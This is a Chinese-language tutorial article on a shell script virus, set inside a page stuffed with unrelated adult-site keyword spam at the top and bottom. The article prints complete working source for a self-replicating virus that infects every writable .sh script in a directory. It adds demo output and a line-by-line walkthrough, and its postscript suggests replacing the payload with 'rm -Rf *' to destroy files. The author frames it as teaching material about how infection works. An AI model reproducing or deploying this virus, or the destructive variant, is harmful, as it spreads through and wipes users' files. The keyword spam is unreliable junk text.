国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

Linux操作系統下Shell病毒詳細介紹
2007-02-07   

說起病毒總有點神秘的味道,想起以前用匯編編寫第一個dos病毒時是那么的痛苦從開始有設想到完成花了3個多月,而且寫的也是亂七八糟,最近突發奇想不就是感染其他文件,傳播自己嗎,用shell寫一個病毒且不是非常簡單,于是順手寫了如下這么一個小腳本,功能就是感染其他shell程序。

這個程序在現實意義不大,但對于形象的理解病毒傳播機制還是很很有幫助,可以算教學意義大于實際意義吧。

SHELL病毒簡介

1.前言

說起病毒總有點神秘的味道,想起以前用匯編編寫第一個dos病毒時是那么的痛苦從開始有設想到完成花了3個多月,而且寫的也是亂七八糟,最近突發奇想不就是感染其他文件,傳播自己嗎,用shell寫一個病毒且不是非常簡單,于是順手寫了如下這么一個小腳本,功能就是感染其他shell程序。

這個程序在現實意義不大,但對于形象的理解病毒傳播機制還是很很有幫助,可以算教學意義大于實際意義吧。

2.程序代碼

#!/bin/sh
#文件名:virus_demo.sh
#用途:shell病毒演示。
#說明:病毒將感染當前目錄下的所有.sh結尾的文件,但不會重復感染。
#編寫:watercloud@xfocus.org
#日期:2003-5-13

#B:<+!a%C&t:> 
vFile=$_ ; vTmp=/tmp/.vTmp.$$ 
for f in ./*.sh; do 
if [ ! -w $f -a ! -r $vFile ]; then continue; fi 
if grep '<+!a%C&t:>' $f ; then continue; fi 
if sed -n '1p' $f | grep 'csh'; then continue; fi 
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi 
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` 
sed -n "1,${vNo}p" $vTmp >$f 
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f 
vNo=`expr $vNo + 1` 
sed -n "${vNo},\$p" $vTmp >>$f 
rm -f $vTmp 
done >/dev/null 2>&1 
unset vTmp ;unset vFile ;unset vNo 

echo "Hi, here is a demo shell virus in your script !" 
#E:<+!a%C&t:> 
#EOF

看shell是多么得強大,這么短短得程序就能感染其他程序文件。

3.演示

測試一下:

先在當前目錄放兩個文件,一個病毒文件,一個用來作被感染測試用。

[cloud@ /export/home/cloud/vir]> ls -l 
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./ 
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../ 
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh 
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

來看看我們這個“肉雞”腳本,很簡單:

[cloud@ /export/home/cloud/vir]> cat test.sh 
#!/bin/sh 
# Just a demo for virus test 
# Author : foo 
# Date : 3000-1-1 

ls -l 

#EOF

好了開始感染他。

[cloud@ /export/home/cloud/vir]> ./virus_demo.sh 
Hi, here is a demo shell virus in your script !

來看看感染后的結果:

[cloud@ /export/home/cloud/vir]> cat test.sh 
#!/bin/sh 
# Just a demo for virus test 
# Author : foo 
# Date : 3000-1-1 

#B:<+!a%C&t:> 
vFile=$_ ; vTmp=/tmp/.vTmp.$$ 
for f in ./*.sh; do 
if [ ! -w $f -a ! -r $vFile ]; then continue; fi 
if grep '<+!a%C&t:>' $f ; then continue; fi 
if sed -n '1p' $f | grep 'csh'; then continue; fi 
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi 
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` 
sed -n "1,${vNo}p" $vTmp >$f 
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f 
vNo=`expr $vNo + 1` 
sed -n "${vNo},\$p" $vTmp >>$f 
rm -f $vTmp 
done >/dev/null 2>&1 
unset vTmp ;unset vFile ;unset vNo 

echo "Hi, here is a demo shell virus in your script !" 
#E:<+!a%C&t:> 

ls -l 

#EOF

看,病毒體:

#B:<+!a%C&t:> . . . . 
#E:<+!a%C&t:>

被拷貝過來了,這樣病毒就被傳播了。值得注意的是病毒體插入的位置是在源test.sh的有效程序行的開始處!這主要考慮到一般shell程序大家都喜歡在程序開始處作注釋說明,你好歹不能把別人的注釋信息給放到后面去,那也太明顯了吧。

來執行看看我們新的病毒體看看:

[cloud@ /export/home/cloud/vir]> ./test.sh 
Hi, here is a demo shell virus in your script ! <-- 看,病毒體內部的打印信息。 

-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh 
-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

4. 簡單講解

我們來一步步分析一下這個病毒:#B:<+!a%C&t:>病毒體開始標記,用于程序復制自己定位用。vFile=$_ ; vTmp=/tmp/.vTmp.$$定義兩個變量,一個臨時文件,一個記錄當前程序名稱$_,這也就要求我們必須把這行作為程序有效行的第一行,如果放后頭我們就無法得到當前程序名稱,后面就找不到從哪里去找病毒體來拷貝了。

for f in ./*.sh; do

開始循環,找到當前目錄下的所有.sh結尾的程序。

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

目標是否有寫權限,病毒源文件是否有讀權限。

if grep '<+!a%C&t:>' $f ; then continue; fi

目標是否已經中毒很深無藥可救了,如果是這樣還給他再來一次也太不仁義了吧?

if sed -n '1p' $f | grep 'csh'; then continue; fi

如果目標shell是以csh的那語法上差異太大了,放棄吧。

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

好了準備感染,先把目標拷貝一個備份,拷貝失敗了怎么辦?當然只好放棄了。

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

這是干嘛?好像挺復雜,不過學shell病毒不了解awk和正規表達式好像有點說不過去吧,這個就是找到程序開始的注釋和空白行有多少,好方便我們確定病毒體插入點。

sed -n "1,${vNo}p" $vTmp >$f

一個sed命令把目標文件的開始注釋部分從備份文件中copy回來。

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

再來一個sed完成搬運病毒體的工作。

vNo=`expr $vNo + 1` 
sed -n "${vNo},\$p" $vTmp >>$f

最后一個sed把目標文件的其他部分搬回來,sed真強大呀?。?

rm -f $vTmp

清理一下臨時文件。

done >/dev/null 2>&1

循環結束。

unset vTmp ;unset vFile ;unset vNo

清理一下犯罪現場。

echo "Hi, here is a demo shell virus in your script !"

都感染了好歹也要顯示點東西以告訴別人這是個被病毒感染過的程序吧。

#E:<+!a%C&t:>

病毒體結束標記,用于程序復制自己定位用。

5.后記

從中我們可以看到腳本病毒非常簡單,不需要很多知識就能寫一個,而且病毒破壞力也是不可小視比如我們的程序里把echo信息改為rm -Rf * ;同時反方面也展示了shell的強大之處,試想傳統的程序光是處理PE文件結構和ELF結構就得花多少功夫。

上面得程序已經在Linux和Solaris上測試通過,Windows上得用戶在Cygwin上應該也行。

順便再強調一次,寫這篇文章得目的是和大家分享一下對病毒得理解,而不是教寫病毒出去害人,切記切記!


熱詞搜索:

上一篇:系統安全之淺談Linux后門技術及實踐
下一篇:充分利用Linux操作系統安全防護工具

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国产91综合一区在线观看| 日韩国产精品大片| 亚洲高清久久久| 91精品91久久久中77777| 一区二区三区蜜桃| 91精品国产综合久久精品app| 午夜一区二区三区视频| 91精品国产美女浴室洗澡无遮挡| 亚洲bt欧美bt精品777| 精品久久久久久久久久久久久久久 | 亚洲国产精品一区二区久久| 欧美性猛交一区二区三区精品| 日本不卡在线视频| 国产日韩高清在线| 欧美三级在线看| 国产精品 欧美精品| 亚洲激情欧美激情| 久久影院视频免费| 欧美日韩国产经典色站一区二区三区| 麻豆久久久久久| 亚洲男女毛片无遮挡| 精品奇米国产一区二区三区| 色乱码一区二区三区88| 国产做a爰片久久毛片| 亚洲色图19p| 久久久www成人免费毛片麻豆| 在线视频国内一区二区| 国产精品中文字幕欧美| 亚洲大片精品永久免费| 中文字幕一区二区三区不卡| 欧美成人一级视频| 欧美巨大另类极品videosbest| 成人黄色av网站在线| 美女国产一区二区三区| 一区二区三区成人| 国产精品女同一区二区三区| 欧美电影免费观看高清完整版在线 | 成人美女视频在线观看18| 日韩精品一二区| 亚洲欧美欧美一区二区三区| 久久美女艺术照精彩视频福利播放| 欧美性视频一区二区三区| 成人精品国产免费网站| 国产激情一区二区三区四区| 韩国精品主播一区二区在线观看| 亚洲成av人综合在线观看| 亚洲免费资源在线播放| 亚洲精品写真福利| 中文字幕一区二区三区蜜月| 国产精品另类一区| 欧美国产一区二区| 中文字幕av在线一区二区三区| 久久亚洲欧美国产精品乐播| 久久精品人人做| 国产欧美日韩另类视频免费观看 | 国产精品美女久久久久av爽李琼| 久久嫩草精品久久久精品| 精品福利一区二区三区免费视频| 日韩亚洲欧美在线| 精品奇米国产一区二区三区| 久久综合狠狠综合久久综合88 | 国产中文一区二区三区| 国产一区二区三区在线观看免费| 久久99精品久久只有精品| 日韩va欧美va亚洲va久久| 日本va欧美va瓶| 狠狠色丁香婷婷综合久久片| 国产夫妻精品视频| 成人免费不卡视频| 欧美丝袜自拍制服另类| 制服丝袜成人动漫| 久久久久久99久久久精品网站| 久久久www成人免费毛片麻豆| 中文字幕在线免费不卡| 亚洲综合成人在线| 蜜桃精品视频在线观看| 国产综合一区二区| 91视频一区二区三区| 欧美日本高清视频在线观看| 亚洲精品一区二区三区福利 | 欧美一区二区日韩| 欧美xxxxxxxx| 亚洲视频一二区| 亚洲va欧美va天堂v国产综合| 久久99九九99精品| 色成人在线视频| 日韩欧美在线123| 久久人人爽人人爽| 亚洲欧美偷拍卡通变态| 麻豆视频一区二区| 一本到三区不卡视频| 日韩欧美二区三区| 一区二区三区**美女毛片| 日韩中文欧美在线| 成人的网站免费观看| 欧美日韩一区在线| 中文成人av在线| 美腿丝袜亚洲色图| 在线免费亚洲电影| 欧美成人女星排行榜| 亚洲男人天堂av网| 国产成人亚洲精品狼色在线| 欧美视频日韩视频在线观看| 国产亚洲婷婷免费| 日本aⅴ亚洲精品中文乱码| 成人黄色777网| 日韩欧美一区二区在线视频| 中文字幕一区二区在线观看| 免费人成黄页网站在线一区二区 | 99久精品国产| 亚洲精品一区二区在线观看| 日本女人一区二区三区| 久久99精品久久久久婷婷| 99riav一区二区三区| 欧美一级黄色大片| 亚洲欧洲制服丝袜| 国产成人亚洲综合色影视| 欧美福利视频导航| 亚洲精品国久久99热| 国产精品 欧美精品| 欧美高清视频一二三区 | 99精品国产91久久久久久| 97久久超碰国产精品| 久久久久久久久久看片| 亚洲成av人片在线观看无码| 成人精品国产福利| 国产精品国产a| 国产.欧美.日韩| 国产精品麻豆视频| 国产suv精品一区二区6| 久久久一区二区三区| 麻豆精品一区二区av白丝在线| 中文字幕在线观看不卡视频| 亚洲欧美一区二区在线观看| 久久99精品久久只有精品| 欧美在线小视频| 一区二区在线观看免费视频播放| 久久99热国产| 欧美日韩国产三级| 亚洲国产日韩a在线播放性色| 成人国产精品视频| 国产丝袜欧美中文另类| 欧美色涩在线第一页| 精品久久国产老人久久综合| 五月天中文字幕一区二区| 91国在线观看| 亚洲人成网站影音先锋播放| 国产91精品久久久久久久网曝门| 国产色婷婷亚洲99精品小说| 国产不卡在线一区| |精品福利一区二区三区| 91视频.com| 一区二区三区高清| 欧美一区二区在线不卡| 免费成人性网站| 久久亚洲私人国产精品va媚药| 国产传媒日韩欧美成人| 国产精品久久久久一区| 91久久人澡人人添人人爽欧美| 亚洲一区二区欧美激情| 日韩亚洲欧美成人一区| 国产精品一区二区三区乱码| 久久蜜桃一区二区| 91视频在线观看| 男人的j进女人的j一区| 国产婷婷色一区二区三区在线| 91热门视频在线观看| 青青国产91久久久久久| 亚洲国产电影在线观看| 欧洲精品一区二区| 蜜桃一区二区三区四区| 亚洲视频一区二区在线| 欧美电影免费观看完整版| 91香蕉视频污| 国内精品视频一区二区三区八戒| 中文字幕一区二区三区不卡| 91精品国产色综合久久ai换脸| 国产精品亚洲综合一区在线观看| 亚洲欧美另类小说视频| 欧美不卡视频一区| 欧美无乱码久久久免费午夜一区| 国产一区二区三区久久悠悠色av| 亚洲精品国产a久久久久久| 欧美精品一区男女天堂| 99精品视频在线观看| 国产一区二区视频在线| 日韩中文字幕av电影| 亚洲精品你懂的| 国产精品国产三级国产aⅴ入口 | 91在线无精精品入口| 久久精品国产免费| 天堂午夜影视日韩欧美一区二区| 国产精品三级久久久久三级| 26uuu亚洲| 日韩精品中文字幕一区二区三区 | 夜夜操天天操亚洲| **性色生活片久久毛片| 中文字幕电影一区| 国产色综合一区| 亚洲国产成人一区二区三区|